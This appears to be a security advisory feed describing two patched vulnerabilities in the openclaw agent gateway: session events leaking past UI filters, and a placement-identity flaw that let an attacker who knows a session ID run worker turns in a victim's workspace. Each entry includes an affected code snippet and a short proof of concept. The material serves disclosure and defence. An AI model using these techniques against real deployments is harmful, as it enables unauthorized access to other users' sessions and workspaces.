⚠️ MEDIUM VERIFIED Information Disclosure

Aug 24, 2026, 01:10 PM — openclaw/openclaw

Commit: a067090e10e5692e0e829820bb56c7ecef13d18a

Author: RoboClaw

The UI's real-time session reconciliation logic allowed broadcast session events to add new rows to filtered session lists, bypassing the 'Involving me' or configured-agent filters. This leaked the existence and metadata (label, key, owner, status) of unrelated sessions to users who should not see them. The patch enforces that only the canonical sessions.list result may admit new rows, preventing filtered lists from being expanded by events.

🔍 View Affected Code & PoC

Affected Code

const row = {
    ...existingFields,
    ...rowFields,
    key: existing?.key ?? key,
    kind,
    updatedAt: updatedAt ?? null,

Proof of Concept

1. User A opens the UI with the 'Involving me' filter active, which only shows sessions involving User A.
2. User B starts a new session that does not involve User A.
3. The Gateway broadcasts a 'sessions.changed' or 'session.message' event for User B's session.
4. Without the patch, reconcileSessionChanged is called with existing=null for the new session key, constructs a row, and adds it to User A's session list, causing the unrelated session to appear despite the filter. With the patch, the early return for !existing prevents the row from being admitted.

🔥 HIGH VERIFIED Broken Access Control

Aug 24, 2026, 11:52 AM — openclaw/openclaw

Commit: 7479c18be27269e9968ee60decb96765832c4c2c

Author: Peter Steinberger

Before the patch, `resolvePlacementIdentity` ignored the supplied `agentId` and `sessionKey` when a placement existed, using the placement's persisted identity instead. An attacker who knew only a victim's session ID could submit a worker turn with arbitrary or blank identity fields and the gateway would execute the turn under the victim's placement identity, granting unauthorized access to the victim's workspace. The patch enforces that any supplied identity field is non-empty and matches the persisted placement before workspace resolution, claim acquisition, or redispatch.

🔍 View Affected Code & PoC

Affected Code

agentId: placement?.agentId ?? required(claim.agentId, "agent id"),
sessionKey: placement?.sessionKey ?? required(claim.sessionKey, "session key"),

Proof of Concept

// Attacker knows only the victim's sessionId
provider.executeTurn(
  { sessionId: "victim-session-id", agentId: "attacker-agent", sessionKey: "attacker-session-key", runId: "attacker-run" },
  turn("malicious"),
  runLocal // runs arbitrary code in victim's workspace
)
// Before patch: executes turn under victim's placement identity (ignores attacker identity).
// After patch: throws "Worker turn agent id does not match its placement" before workspace access.